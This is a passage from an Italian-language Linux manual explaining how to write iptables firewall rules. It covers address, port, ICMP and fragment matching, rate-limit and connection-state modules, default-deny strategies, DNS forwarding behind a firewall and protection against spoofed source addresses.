  iptables -A punto_di_controllo regola -i eth0 -j DROP
  ```

  Lo schema mostra l'aggiunta in coda di una regola non meglio identificata, nella quale viene specificato in particolare che deve riferirsi al traffico entrante dall'interfaccia '**eth0**'. Per i pacchetti che vengono intercettati dalla regola, viene applicato l'obiettivo '**DROP**'.

- ```
  iptables -A punto_di_controllo -p tcp regola -i eth0 -j DROP
  ```

  Lo schema mostra l'aggiunta in coda di una regola non meglio identificata, nella quale viene specificato in particolare che deve riferirsi al traffico TCP entrante dall'interfaccia '**eth0**'. Per i pacchetti che vengono intercettati dalla regola, viene applicato l'obiettivo '**DROP**'.

- ```
  iptables -A punto_di_controllo -p ! tcp regola -i ! eth0 -j DROP
  ```

  Lo schema mostra l'aggiunta in coda di una regola non meglio identificata, nella quale viene specificato in particolare che deve riferirsi a tutto il traffico che non sia TCP, entrante da un'interfaccia qualunque purché non sia '**eth0**'. Per i pacchetti che vengono intercettati dalla regola, viene applicato l'obiettivo '**DROP**'.

47.5.2.3 Regole che non fanno riferimento a un protocollo

Le regole che non indicano un protocollo particolare possono servire esclusivamente a individuare il traffico riferito a un'origine e a una destinazione, con l'indicazione eventuale dell'interfaccia di ingresso e di uscita:

```
[-p all] [-s [!] origine] [-i interfaccia] [-d [!] destinazione] ↩
↪ [-o interfaccia]
```

Come si vede dallo schema, si possono utilizzare le opzioni '**-s**' e '**-d**' per indicare rispettivamente l'origine e la destinazione di un pacchetto. In aggiunta, si potrebbe inserire l'indicazione di una certa interfaccia attraverso cui i pacchetti vengono ricevuti o trasmessi; inoltre, volendo indicare espressamente che non si fa riferimento a un protocollo particolare, si può aggiungere l'opzione '**-p**' con l'argomento '**all**'.
```

La definizione di un gruppo di indirizzi IP può essere fatta attraverso l'indicazione di una coppia ***numero_ip/maschera***, con una barra obliqua di separazione tra i due. La maschera può essere indicata nel modo consueto, oppure con un numero che esprime la quantità di bit iniziali da porre al valore uno. A titolo di esempio, la tabella 47.51 mostra l'equivalenza tra alcune maschere di rete tipiche e questo numero di abbreviazione.

Tabella 47.51. Maschere di rete tipiche per IPv4.

Maschera di rete	Abbreviazione	Sottorete
255.0.0.0	8	Classe A
255.255.0.0	16	Classe B
255.255.255.0	24	Classe C
255.255.255.255	32	punto-punto

Quando si vuole fare riferimento a indirizzi imprecisati, si utilizza solitamente 0.0.0.0 che può essere indicato anche con un solo zero; questo si abbina di solito alla maschera nulla: 0.0.0.0/0 o 0/0. Tuttavia, per fare riferimento a qualunque indirizzo, è sufficiente omettere la sua indicazione, in pratica basta fare a meno di indicare l'opzione '`-s`' o '`-d`'.

L'indicazione di un indirizzo può essere fatta utilizzando direttamente il nome di dominio corrispondente, ma questo richiede la disponibilità di un servizio DNS; ciò può essere conveniente quando si tratta di un firewall connesso stabilmente con la rete esterna, altrimenti si creerebbero delle attese inutili e fastidiose, nel tentativo di risolvere dei nomi che non sono di competenza delle zone locali. Pertanto, in generale è preferibile indicare indirizzi in forma numerica.

Il punto esclamativo che può essere inserito facoltativamente di fronte all'indicazione di un indirizzo IP, o di un gruppo di indirizzi, rappresenta la negazione logica e serve a fare riferimento al gruppo di indirizzi complementare.

Tabella 47.52. Rappresentazione dell'origine e della destinazione.

Opzione	Descrizione
`-s` [`!`] ***indirizzo*** [/***maschera***] `--source` [`!`] ***indirizzo*** [/***maschera***]	Permette di definire l'origine dei pacchetti. L'indirizzo viene indicato generalmente in forma numerica, anche se c'è la possibilità di usare un nome di dominio. La maschera, eventuale, serve a indicare un gruppo di indirizzi. Se questo parametro viene omesso, si intende implicitamente '`-s 0.0.0.0/0`', ovvero '`-s 0/0`', che rappresenta tutti gli indirizzi possibili.

Opzione	Descrizione
`-d` [`!`] *indirizzo* [`/`*maschera*] `--destination` [`!`] *indirizzo* [`/`*maschera*]	Permette di definire la destinazione dei pacchetti. L'indirizzo viene indicato generalmente in forma numerica, anche se c'è la possibilità di usare un nome di dominio. La maschera, eventuale, serve a indicare un gruppo di indirizzi. Se questo parametro viene omesso, si intende implicitamente '**`-d 0.0.0.0/0`**', ovvero '**`-d 0/0`**', che rappresenta tutti gli indirizzi possibili.

Segue la descrizione di alcuni esempi.

- `#` **`iptables -A INPUT -s 192.168.100.0/24 -j DROP`** [*Invio*]

  Blocca tutto il traffico in ingresso, destinato all'elaboratore locale, proveniente dalla rete 192.168.100.*.

- `#` **`iptables -A INPUT -s 192.168.100.0/24 -d 0/0 -j DROP`** [*Invio*]

  Esattamente come nell'esempio precedente.

- `#` **`iptables -A INPUT -s 192.168.100.0/24 -d 0/0 -i eth0 -j DROP`** [*Invio*]

  Come nell'esempio precedente, specificando però che questo traffico in ingresso deve provenire dall'interfaccia '**`eth0`**' (se provenisse da un'altra interfaccia, non verrebbe intercettato da questa regola).

- `#` **`iptables -A FORWARD -d 192.168.100.0/24 -j DROP`** [*Invio*]

  Blocca tutto il traffico in transito destinato alla rete 192.168.100.*.

- `#` **`iptables -A FORWARD -s 0/0 -d 192.168.100.0/24 -j DROP`** [*Invio*]

  Esattamente come nell'esempio precedente.

- `#` **`iptables -A FORWARD -s 0/0 -d !  192.168.100.0/24 -j DROP`** [*Invio*]

  Blocca tutto il traffico in transito destinato a indirizzi diversi dalla rete 192.168.100.*.

- `#` **`iptables -A OUTPUT -d 192.168.100.0/24 -j DROP`** [*Invio*]

  Blocca tutto il traffico in uscita, generato nell'elaboratore locale, destinato alla rete 192.168.100.*.

47.5.2.4 Utilizzo pratico di regole elementari

Come negli esempi mostrati in precedenza, in cui si agiva soltanto sulla politica predefinita, con la stessa semplicità si può sperimentare l'uso delle regole. Per cominciare, quando il comando '**`iptables -L`**' genera il risultato

```
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
```

significa che non ci sono regole per alcun punto di controllo e le politiche predefinite non oppongono resistenza al transito dei pacchetti. Con una regola molto semplice è possibile bloccare qualunque ingresso attraverso l'interfaccia virtuale corrispondente a *`localhost`*, cioè all'indirizzo 127.0.0.1:

`#` **`iptables -A INPUT -s 127.0.0.1 -j DROP`** [*Invio*]

Se si tenta di fare il ping verso il nodo locale, questo non genera alcuna risposta, dal momento che tutti i pacchetti in ingresso vengono eliminati. Anticipando un po' quello che viene descritto in seguito, se lo scopo fosse esclusivamente quello di impedire l'ingresso dei pacchetti del protocollo ICMP (cosa che tra l'altro impedisce il ping), si potrebbe usare un comando più specifico:

`#` **`iptables -A INPUT -p icmp -s 127.0.0.1 -j DROP`** [*Invio*]

Se sono stati eseguiti gli esempi, il comando '**`iptables -L INPUT`**' dovrebbe generare il risultato seguente:

```
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       all  --  localhost            anywhere
DROP       icmp --  localhost            anywhere
```

Prima di fare altre considerazioni, conviene osservare la simbologia usata nel rapporto che è stato ottenuto: la colonna '**`prot`**' rappresenta il protocollo di riferimento; la colonna '**`opt`**' rappresenta delle specificazioni opzionali delle regole che in questo caso non sono mai state utilizzate; le colonna '**`source`**' e '**`destination`**' rappresentano l'origine e la destinazione dei pacchetti, dove in particolare la parola chiave '**`anywhere`**' esprime in pratica ciò che altrimenti si indicherebbe con la notazione 0.0.0.0/0. Si osservi la differenza nel risultato nel caso si utilizzi l'opzione '**`-n`**', ovvero il comando '**`iptables -L INPUT -n`**', allo scopo di eliminare le rappresentazioni simboliche degli indirizzi.

```
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       all  --  127.0.0.1            0.0.0.0/0
DROP       icmp --  127.0.0.1            0.0.0.0/0
```

Le regole hanno una sequenza precisa; avendo utilizzato sempre l'opzione di comando '**-A**', queste sono state aggiunte di seguito. Come si può intuire, la seconda regola è inutile, dal momento che i pacchetti che potrebbero riguardarla vengono già presi in considerazione da quella precedente che li blocca completamente per conto proprio.

Le regole possono essere eliminate in modo selettivo attraverso l'opzione di comando '**-D**', oppure in modo complessivo attraverso l'opzione '**-F**'. Per eliminare la prima regola, si potrebbe utilizzare uno dei due comandi seguenti:

iptables -D INPUT -s 127.0.0.1 -j DROP [*Invio*]

iptables -D INPUT 1 [*Invio*]

Nel primo caso viene eliminata la prima regola che corrisponde al modello, cioè la prima in assoluto, mentre il secondo comando fa riferimento direttamente al numero della regola. Naturalmente, dopo l'eliminazione della prima regola, quella che inizialmente era la seconda diventa la prima:

```
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       icmp --  localhost            anywhere
```

Come accennato, per eliminare tutte le regole di un punto di controllo si può usare l'opzione di comando '**-F**':

iptables -F INPUT [*Invio*]

L'esempio elimina tutte le regole di ingresso.

Se l'elaboratore con il quale si fanno questi esperimenti ospita un servizio si può fare qualche esperimento più interessante. Supponendo di disporre di un servente HTTP che riceve richieste attraverso la porta 80 del protocollo TCP, si potrebbe impedirne l'accesso da parte dell'utente che accede dallo stesso sistema locale attraverso il comando seguente:

iptables -A INPUT -p tcp -s 127.0.0.1 -d 127.0.0.1 ↩
↪ **--dport 80 -j REJECT** [*Invio*]

Quando si avvia un programma di navigazione per accedere al servizio HTTP locale, questo cerca di instaurare una connessione TCP utilizzando la porta 80 nella destinazione; se il firewall dispone della regola inserita con il comando appena mostrato, intercetta il tentativo di connessione e restituisce un messaggio di rifiuto attraverso il protocollo ICMP. La scelta di utilizzare l'obiettivo '**REJECT**' è motivata da questa esigenza: evitare di fare perdere tempo a chi tenta di accedere, perché diversamente l'obiettivo '**DROP**' renderebbe la cosa più subdola. Si osservi cosa si ottiene con l'opzione '**-L**':

iptables -L INPUT [*Invio*]

```
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
REJECT     tcp  --  localhost            localhost          tcp ↩
↪dpt:www reject-with icmp-port-unreachable
```

La sigla '**dpt**' sta per *Destination port*; '**www**' è evidentemente il nome della porta 80. Dal momento che è stata richiesto l'obiettivo '**REJECT**', viene mostrato esplicitamen-

te il tipo di messaggio ICMP che viene restituito a seguito di un tentativo di accesso: '**`port-unreachable`**'.

Per definire delle regole corrette per i fini che ci si prefigge, occorre conoscere bene il comportamento del protocollo che si utilizza. Tornando all'esempio appena fatto, in cui lo scopo è quello di impedire all'utente del sistema locale di accedere al servizio HTTP locale, si potrebbe ottenere un risultato equivalente agendo sul punto di controllo di uscita. Per farlo occorre sapere che la connessione TCP è simmetrica e che nel flusso di ritorno il servizio HTTP utilizza ancora la stessa porta 80, già impiegata per ricevere la richiesta di connessione.

```
# iptables -F INPUT [Invio]
```

```
# iptables -A OUTPUT -p tcp -s 127.0.0.1 --sport 80 ←
↪          -d 127.0.0.1 -j REJECT [Invio]
```

In questo caso si deve osservare comunque una cosa: il messaggio ICMP, con cui si notifica il blocco del transito del pacchetto in uscita, è diretto all'applicazione che tenta di rispondere alla richiesta del cliente, di conseguenza il cliente ne resta all'oscuro.

47.5.2.5 Regole per i protocolli TCP e UDP

Il modo con cui si possono definire le regole necessarie a individuare i pacchetti, dipendono dal tipo di protocollo utilizzato. Generalmente si è interessati maggiormente a controllare i protocolli TCP e UDP, che hanno in comune l'utilizzo delle porte.

Dovendo fare riferimento a un protocollo TCP o UDP si utilizza l'opzione '**`-p`**', seguita dalla parola chiave '**`tcp`**' o '**`udp`**'. Dal momento che i protocolli TCP e UDP utilizzano le porte, l'origine e la destinazione possono includere questa informazione, con l'uso delle opzioni '**`--sport`**' e '**`--dport`**' rispettivamente.

Le porte possono essere indicate in modo preciso (una soltanto), oppure attraverso un intervallo. Queste porte possono essere espresse attraverso un nome, come definito nel file '`/etc/services`', oppure per numero, cosa che di solito si preferisce per evitare ambiguità o malintesi. Gli intervalli di porte, in particolare, vengono espressi nella forma seguente:

porta_iniziale **:** ***porta_finale***

Se si indica un intervallo, cosa che si determina per la presenza dei due punti, se manca l'indicazione della porta iniziale si intende in modo predefinito la numero zero, se invece manca quella finale si intende la porta 65535. Come nel caso degli indirizzi IP, l'indicazione della porta o dell'intervallo di queste può essere preceduta dal punto esclamativo in qualità di negazione logica.

Tabella 47.58. Opzioni per i protocolli TCP e UDP.

Opzione	Descrizione
`-s` [`!`] *indirizzo* [`/`*maschera*] ↩ ↪ [`!`] [`--sport` *porta* | *intervallo_di_porte*] `--source` [`!`] *indirizzo* [`/`*maschera*] ↩ ↪ [`!`] [`--source-port` *porta* | *intervallo_di_porte*] `-d` [`!`] *indirizzo* [`/`*maschera*] ↩ ↪ [`!`] [`--dport` *porta* | *intervallo_di_porte*] `--destination` [`!`] *indirizzo* [`/`*maschera*] ↩ ↪ [`!`] [`--destination-port` *porta* | *intervallo_di_porte*]	Con i protocolli TCP e UDP, l'origine e la destinazione possono includere l'indicazione delle porte.

Nel caso di protocolli TCP, è possibile analizzare i bit che qualificano lo stato della connessione. Questi bit hanno un nome simbolico, corrispondente a: '**`SYN`**', '**`ACK`**', '**`FIN`**', '**`RST`**', '**`URG`**' e '**`PSH`**'. Si può controllare lo stato di questi bit con l'opzione '**`--tcp-flags`**'. Dal momento che è comune la richiesta di individuare i pacchetti con il bit '**`SYN`**' attivo e i bit '**`RST`**' e '**`ACK`**' disattivati, si può usare per questo l'opzione '**`--syn`**'.

Tabella 47.59. Opzioni per i protocolli TCP.

Opzione	Descrizione
`--tcp-flags` *elenco_bit_da_considerare* ↩ ↪ *elenco_bit_attivi*	Gli elenchi in questione si ottengono indicando i nomi dei bit separati da una virgola, senza l'aggiunta di spazi, dove in particolare, la parola chiave '**`ALL`**' fa riferimento a tutti i bit gestibili. Per esempio, '**`--tcp-flags ALL SYN,ACK`**' indica la richiesta di individuare i pacchetti TCP in cui solo i bit '**`SYN`**' e '**`ACK`**' sono attivi simultaneamente (mentre tutti gli altri sono disattivati). La stessa cosa si potrebbe esprimere in modo esteso come: '**`--tcp-flags SYN,ACK,FIN,RST,URG,PSH SYN,ACK`**'.
`--syn`	Corrisponde in pratica a '**`--tcp-flags SYN,RST,ACK SYN`**'. Questi pacchetti vengono usati nel protocollo TCP per richiedere l'inizializzazione della connessione. In pratica, bloccando questi pacchetti si impedisce l'instaurarsi di una connessione TCP in un solo verso.

Segue la descrizione di alcuni esempi.

- ```
  # iptables -A INPUT -p tcp -s ! 192.168.0.0/16 ↩
  ↪        -d 192.168.0.0/16 --dport 80 -j REJECT [Invio]
  ```
  ```

Impedisce l'accesso ai servizi HTTP (protocollo TCP, porta 80) della rete 192.168.*.* a tutti gli indirizzi estranei alla rete stessa.

- `# iptables -A INPUT -p tcp -s ! 192.168.0.0/16 ↩`
  `↪ -d 192.168.0.0/16 --dport 80 --syn -j REJECT` [*Invio*]

  Come nell'esempio precedente, limitandosi a intervenire nei pacchetti di inizializzazione delle connessioni.

47.5.2.6 Regole per il protocollo ICMP

Il protocollo ICMP è molto importante per il controllo del funzionamento della rete, in questo senso è rara la possibilità che sia il caso di bloccarne il transito attraverso il firewall. Tuttavia, dal momento che i fini del firewall non si limitano al blocco del traffico, è comunque importante poter indicare una regola che sappia selezionare un tipo particolare di pacchetto ICMP. La tabella 47.27 elenca i tipi di pacchetto ICMP e il loro utilizzo.

Per indicare una regola che faccia riferimento a un tipo particolare di pacchetto ICMP, si sfruttano le opzioni che servono a specificare l'origine o la destinazione, aggiungendo il numero o il nome del tipo ICMP (il numero può essere composto da una seconda parte, denominato ***codice***). In pratica, questa informazione va a sostituire il numero di porta nel caso dei protocolli TCP e UDP.

È estremamente importante che non vengano bloccati i messaggi ICMP di tipo 3.

Il protocollo ICMP è differente tra IPv4 e IPv6, pertanto la sigla usata per farvi riferimento cambia.

Il comando '**`iptables -p icmp -h`**' genera l'elenco di tutti i messaggi ICMP gestibili con IPv4:

`# iptables -p icmp -h` [*Invio*]

```
Valid ICMP Types:
echo-reply (pong)
destination-unreachable
   network-unreachable
   host-unreachable
   protocol-unreachable
   port-unreachable
   fragmentation-needed
   source-route-failed
   network-unknown
   host-unknown
   network-prohibited
   host-prohibited
   TOS-network-unreachable
   TOS-host-unreachable
   communication-prohibited
   host-precedence-violation
   precedence-cutoff
```

```
source-quench
redirect
   network-redirect
   host-redirect
   TOS-network-redirect
   TOS-host-redirect
echo-request (ping)
router-advertisement
router-solicitation
time-exceeded (ttl-exceeded)
   ttl-zero-during-transit
   ttl-zero-during-reassembly
parameter-problem
   ip-header-bad
   required-option-missing
timestamp-request
timestamp-reply
address-mask-request
address-mask-reply
```

Si può osservare che i nomi rientrati, fanno riferimento a un tipo ICMP formato anche attraverso l'indicazione di un codice. Per esempio, '**`network-unreachable`**' corrisponde a '**`3/0`**'.

Tabella 47.61. Opzioni per i protocolli ICMP.

Opzione	Descrizione
`-s` [`!`] ***indirizzo***[`/`***maschera***] ↩ ↪ [`!`] [`--icmp-type` ***tipo***[`/`***codice***]] `--source` [`!`] ***indirizzo***[`/`***maschera***] ↩ ↪ [`!`] [`--icmp-type` ***tipo***[`/`***codice***]] `-d` [`!`] ***indirizzo***[`/`***maschera***] ↩ ↪ [`!`] [`--icmp-type` ***tipo***[`/`***codice***]] `--destination` [`!`] ***indirizzo***[`/`***maschera***] ↩ ↪ [`!`] [`--icmp-type` ***tipo***[`/`***codice***]]	Come già accennato, con il protocollo ICMP l'origine e la destinazione possono includere l'indicazione del tipo di messaggio ICMP.

Segue la descrizione di alcuni esempi.

- `#` **`iptables -A INPUT -p icmp -s ! 192.168.0.0/16`** ↩
↪ **`--icmp-type 8 -d 192.168.0.0/16 -j DROP`** [*Invio*]

  Blocca e ignora i pacchetti ICMPv4 che contengono un messaggio di tipo 8, cioè '**`echo-request`**', proveniente da un indirizzo estraneo alla rete 192.168.*.* e destinato alla rete stessa.

- `#` **`iptables -A INPUT -p icmp -s ! 192.168.0.0/16`** ↩
↪ **`--icmp-type echo-request -d 192.168.0.0/16 -j DROP`** [*Invio*]

  Esattamente come nell'esempio precedente, indicando per nome il tipo ICMPv4.

- `# ip6tables -A INPUT -p icmpv6 -s ! fec0::/16 --icmpv6-type echo-request -d fec0::/16 -j DROP` [*Invio*]

  Blocca e ignora i pacchetti ICMPv6 che contengono un messaggio di tipo '**echo-request**', proveniente da un indirizzo estraneo alla rete fec0:✻ e destinato alla rete stessa.

47.5.2.7 Pacchetti frammentati

I pacchetti frammentati costituiscono un problema per la gestione del firewall. In generale ci si limita a intervenire sul primo frammento, perché questo dovrebbe contenere le informazioni necessarie a identificarlo correttamente.

Se il firewall rappresenta un passaggio obbligato per il traffico che lo attraversa, è molto importante che sia abilitata la ricomposizione dei pacchetti frammentati. Questo risolve tanti problemi e soprattutto quello del controllo dei frammenti.

Per identificare un frammento di pacchetto successivo al primo, si utilizza l'opzione '**-f**' nel modo seguente:

```
[!] -f | [!] --fragment
```

Il punto esclamativo permette di ottenere l'effetto contrario, cioè di fare riferimento a tutti i pacchetti che non sono frammenti. Utilizzando questa opzione non è possibile indicare delle porte TCP o UDP, né specificare il tipo di messaggio per il protocollo ICMP.

L'esempio seguente blocca l'attraversamento di frammenti dei pacchetti ICMP provenienti da un indirizzo estraneo alla rete 192.168.✻.✻ e destinati alla rete stessa.

`# iptables -A FORWARD -p icmp -s ! 192.168.0.0/16 -d 192.168.0.0/16 -f -j DROP` [*Invio*]

47.5.3 Estensioni particolari

Le funzionalità di filtro del kernel sono suddivise in segmenti differenti che possono essere incluse o meno, in fase di compilazione, oppure possono essere caricate attraverso moduli esterni. Queste funzionalità particolari sono definite ***moduli***, senza per questo voler confondere il concetto con i moduli del kernel. Per utilizzare queste funzionalità si deve indicare prima il modulo, attraverso l'opzione '**-m**':

```
-m modulo
```

```
--match modulo
```

Nel seguito vengono presentati solo alcuni dei moduli disponibili.

È molto probabile che tali estensioni non siano tutte disponibili per IPv6; ma di questo ci si accorge facilmente dalle segnalazioni di errore generate da '**ip6tables**'.

47.5.3.1 Limiti

È possibile definire una regola che scatti fino al raggiungimento di un certo limite per un certo tipo di pacchetto. Si tratta del modulo '**limit**':

```
-m limit
```

Si distinguono due informazioni in questo contesto: la quantità di pacchetti per unità di tempo e il margine di sicurezza prima che venga preso in considerazione il raggiungimento del limite.

Tabella 47.62. Opzioni relative al modulo '**limit**'.

Opzione	Descrizione
`-m limit --limit` ***n*** [/***unità_di_tempo***]	Questa opzione serve a definire la quantità di pacchetti (***n***) entro la quale scatta la regola. Se non si indica l'unità di tempo si fa riferimento implicitamente a secondi. A ogni modo, si possono usare le parole chiave seguenti, con il significato intuitivo che hanno: '**second**', '**minute**', '**hour**', '**day**'. È importante osservare che si possono usare anche solo le iniziali di questi termini. Per esempio, '**--limit 10**' rappresenta un limite di 10 pacchetti per secondo, cosa che si può esprimere come '**--limit 10/second**', oppure anche '**--limit 10/s**'.
`-m limit --limit-burst` ***n***	Questa opzione, '**--limit-burst**', serve a creare un margine iniziale ulteriore, dopo il quale inizia il conteggio del limite stabilito con l'opzione '**--limit**'. Se non si specifica questa opzione, il margine è di 5.

Vengono riproposti gli esempi che appaiono già nel *Linux 2.4 packet filtering HOWTO* di Rusty Russell. Ovviamente, perché questi limiti abbiano un senso, dopo le regole che consentono il transito entro una certa frequenza, occorre aggiungere delle regole che blocchino lo stesso tipo di pacchetti, senza più l'indicazione di un limite.

- Protezione contro un attacco da inondazione di pacchetti «SYN»:

  ```
  # iptables -A FORWARD -p tcp --syn -m limit ↩
  ↪          --limit 1/s -j ACCEPT [Invio]
  ```

  Consente il transito di un solo pacchetto di inizializzazione delle connessioni TCP al secondo. Per bloccare i pacchetti successivi si aggiunge il blocco degli stessi pacchetti:

  ```
  # iptables -A FORWARD -p tcp --syn -j DROP [Invio]
  ```

- Protezione contro un tentativo di scansione delle porte TCP:

```
# iptables -A FORWARD -p tcp ↩
↪          --tcp-flags SYN,ACK,FIN,RST RST -m limit ↩
↪          --limit 1/s -j ACCEPT [Invio]
```

Consente il transito di un pacchetto TCP al secondo con il solo bit '**RST**' attivo, nell'ambito del gruppo di bit composto da '**SYN**', '**ACK**', '**FIN**' e '**RST**'. Per bloccare i pacchetti successivi si aggiunge il blocco degli stessi pacchetti:

```
# iptables -A FORWARD -p tcp ↩
↪          --tcp-flags SYN,ACK,FIN,RST RST -j DROP [Invio]
```

- Protezione contro un'inondazione di richieste di eco ICMP (ping):

```
# iptables -A FORWARD -p icmp --icmp-type echo-request ↩
↪          -m limit --limit 1/s -j ACCEPT [Invio]
```

Consente il transito di un pacchetto ICMP di tipo 8 (richiesta di eco) al secondo. Per bloccare i pacchetti successivi si aggiunge il blocco degli stessi pacchetti:

```
# iptables -A FORWARD -p icmp --icmp-type echo-request -j DROP [Invio]
```

Gli esempi mostrano tutti un controllo applicato ai pacchetti in transito. Per proteggere anche il firewall occorre intervenire nello stesso modo sui pacchetti in ingresso.

47.5.3.2 Stato delle connessioni

Un modulo speciale, denominato '**state**', consente di analizzare le connessioni e di individuarle in base a uno status semplice da definire.

```
-m state
```

Questo modulo consente semplicemente di utilizzare l'opzione '**--state**', con cui si specifica lo stato di una connessione:

```
--state {NEW|ESTABLISHED|RELATED|INVALID}[,...]
```

Le varie parole chiave utilizzate per definire lo stato di una connessione hanno il significato descritto nell'elenco seguente.

Tabella 47.63. Opzioni relative al modulo '**state**'.

Opzione	Descrizione
`-m state --state NEW[,...]`	Si tratta di un pacchetto che crea una nuova connessione.
`-m state --state ESTABLISHED[,...]`	Si tratta di un pacchetto che appartiene a una connessione già esistente.
`-m state --state RELATED[,...]`	Si tratta di un pacchetto correlato a un'altra connessione. Per esempio, potrebbe trattarsi di un messaggio ICMP di errore, oppure di una connessione TCP generata automaticamente da una connessione FTP precedente.

Opzione	Descrizione
`-m state --state INVALID[,...]`	Si tratta di un pacchetto che non può essere qualificato per qualche ragione e come tale viene considerato non valido.

Segue la descrizione di alcuni esempi.

- `# iptables -A FORWARD -d 192.168.0.0/16 -m state --state ESTABLISHED,RELATED -j ACCEPT` [*Invio*]

  Consente il transito verso gli indirizzi 192.168.*.* quando si tratta di connessioni già realizzate o di pacchetti correlati a connessioni preesistenti.

- `# iptables -A FORWARD -d 192.168.0.0/16 -m state --state INVALID -j DROP` [*Invio*]

  Elimina i pacchetti destinati agli indirizzi 192.168.*.* quando questi non sono identificabili in qualche modo, nel senso che non sembrano avere motivo di esistere.

- `# iptables -A FORWARD -m state --state NEW -i ! ppp0 -j ACCEPT` [*Invio*]

  Consente l'instaurarsi di una connessione che attraversi il nodo, purché ciò non avvenga a cominciare da un pacchetto che entri dall'interfaccia '**`ppp0`**' (PPP).

47.5.4 Strategie

In generale, quando si predispone uno script con tutte le regole di firewall che si vogliono applicare ai pacchetti in ingresso, in uscita e in transito, si inizia dall'azzeramento di quelle eventualmente esistenti, esattamente nel modo seguente:

```
#!/bin/sh

/sbin/iptables -F
...
```

Dal momento che le funzionalità di filtro del kernel Linux non devono interferire con quelle di instradamento (*routing*), nel caso le prime non siano state definite, è necessario che la politica predefinita sia sempre '**`ACCEPT`**'. In generale, se si vuole configurare il proprio elaboratore come firewall la situazione cambia e dovrebbe essere conveniente il contrario, in modo da poter controllare la situazione. In pratica, ancora prima dell'azzeramento delle regole delle varie categorie, è solitamente opportuno modificare le politiche predefinite, in modo da bloccare gli accessi e il transito dei pacchetti.

```
/sbin/iptables -P INPUT DROP
/sbin/iptables -P OUTPUT DROP
/sbin/iptables -P FORWARD DROP
```

La definizione delle regole di firewall deve tenere conto dell'ordine in cui appaiono nell'elenco gestito all'interno del kernel, quindi, la scelta tra le opzioni di comando '**`-A`**' (aggiunta in coda) e '**`-I`**' (inserimento all'inizio o in un'altra posizione) deve essere fatta in modo consapevole.

A seconda della propria filosofia personale, si potrebbe scegliere di utilizzare sempre solo lo stesso tipo.

Se si sceglie di «aggiungere» le regole, dovrebbe essere conveniente iniziare da quelle di eliminazione o rifiuto (‘**DROP**’ o ‘**REJECT**’), per finire con quelle di accettazione (‘**ACCEPT**’).

Se si preferisce lasciare che la politica predefinita sia ‘**ACCEPT**’, è importante ricordare di aggiungere una regola che impedisca l’accesso in modo generalizzato alla fine di tutte le regole di un punto di controllo, come mostrato nell’esempio seguente:

```
# In coda a tutte le regole
/sbin/iptables -A INPUT -j DROP
/sbin/iptables -A OUTPUT -j DROP
/sbin/iptables -A FORWARD -j DROP
```

Nell’esempio, non avendo fatto riferimento ad alcun protocollo, né ad alcun indirizzo sorgente o di destinazione, si intendono implicitamente tutti i tipi di pacchetto. Questo tipo di strategia è comunque applicabile con qualunque tipo di politica predefinita, dal momento che con questa regola si catturano tutti i pacchetti rimanenti.

Quando lo scopo di un firewall è solo quello di proteggere una rete interna da quella esterna, si potrebbe pensare che l’uso di regole per il solo attraversamento dovrebbe bastare. In effetti, dal momento che i pacchetti devono attraversare il firewall per raggiungere la rete interna, il ragionamento è corretto; tuttavia, bisogna pensare anche a proteggere il firewall e in tal senso si comprende l’utilità di disporre di un punto di controllo in ingresso. Infatti, se un aggressore riesce a ottenere accesso nel firewall, da lì può entrare nella rete interna che invece si considera protetta. Il punto di controllo in uscita è una possibilità in più per completare le cose ed è un bene che ci siano tante possibilità.

Naturalmente, le funzionalità di filtro dei pacchetti sono utili anche per gli elaboratori che devono difendersi da soli, perché si trovano in un ambiente ostile, o perché semplicemente non ci si può fidare. È evidente in questi casi che diventa importantissima la possibilità di intervenire nelle regole del punto di controllo di ingresso ed eventualmente anche in quelle del punto di controllo in uscita, mentre il controllo dell’attraversamento dovrebbe risultare semplicemente inutile.

47.5.4.1 UDP e DNS

Una delle politiche normali nella configurazione di un firewall che deve proteggere una rete interna è quella di non lasciare che i pacchetti del protocollo UDP possano attraversarlo. In linea di principio questo atteggiamento è ragionevole, dal momento che con il protocollo UDP si gestiscono spesso informazioni delicate e aggredibili con facilità (NFS e NIS sono gli esempi più importanti).

`#` **`iptables -A FORWARD -p udp -j DROP`** [*Invio*]

Quello che si vede è il comando molto semplice che permette di ottenere questo risultato, intervenendo necessariamente in fase di attraversamento.

Il sistema DNS utilizza prevalentemente il protocollo UDP e a volte il protocollo TCP. In questo senso, un servizio DNS collocato all’interno di una rete protetta che abbia bisogno di risolvere nomi della rete esterna, deve necessariamente avvalersi di un altro servizio DNS posto nel firewall o anche al di fuori di questo.

```
options {
    forwarders {
        123.123.123.123;
    };
};
```

L'esempio che si vede rappresenta una parte del file '/etc/named.conf' (o '/etc/bind/named.conf') dove si indica l'indirizzo 123.123.123.123 da utilizzare per inoltrare le richieste che non possono essere risolte in base alla definizione delle zone locali. La comunicazione con il servizio presso 123.123.123.123 avviene con il protocollo TCP, permettendo di superare il problema del blocco al transito dei pacchetti UDP.

Il fatto che il sistema DNS utilizzi a volte il protocollo TCP per le comunicazioni normali deve servire a capire che un blocco del protocollo UDP può creare problemi intermittenti alla risoluzione dei nomi e degli indirizzi IP.

47.5.4.2 Contraffazione dell'origine: IP spoof

Uno dei riferimenti importanti su cui si basa il controllo da parte del firewall è l'indirizzo di origine dei pacchetti. Spesso, chi attacca un sistema altera i pacchetti che invia modificando l'origine, per non essere individuato. Il firewall non è in grado di sapere se l'origine è veritiera o contraffatta.

Per risolvere questo problema con IPv4 si utilizza la gestione dell'instradamento attraverso la procedura denominata «Source Address Verification». Per prima cosa ci si deve accertare che esista il file virtuale '/proc/sys/net/ipv4/conf/all/rp_filter', quindi si possono sovrascrivere tutti i file '/proc/sys/net/ipv4/conf/*/rp_filter' con il valore uno. In pratica:

```
if [ -e /proc/sys/net/ipv4/conf/all/rp_filter ]
then
    for f in /proc/sys/net/ipv4/conf/*/rp_filter
    do
        echo 1 > $f
    done
fi
```

In modo più grossolano è possibile eliminare i pacchetti che sono «evidentemente» contraffatti. Per esempio, se l'interfaccia di rete '**ppp0**' è quella che si rivolge verso la rete esterna, si possono bloccare tranquillamente i pacchetti che provengono da questa con l'indicazione di un'origine appartenente a uno degli indirizzi riservati per le reti private.

```
/sbin/iptables -A INPUT   -s 127.0.0.0/8    -i ! lo -j DROP
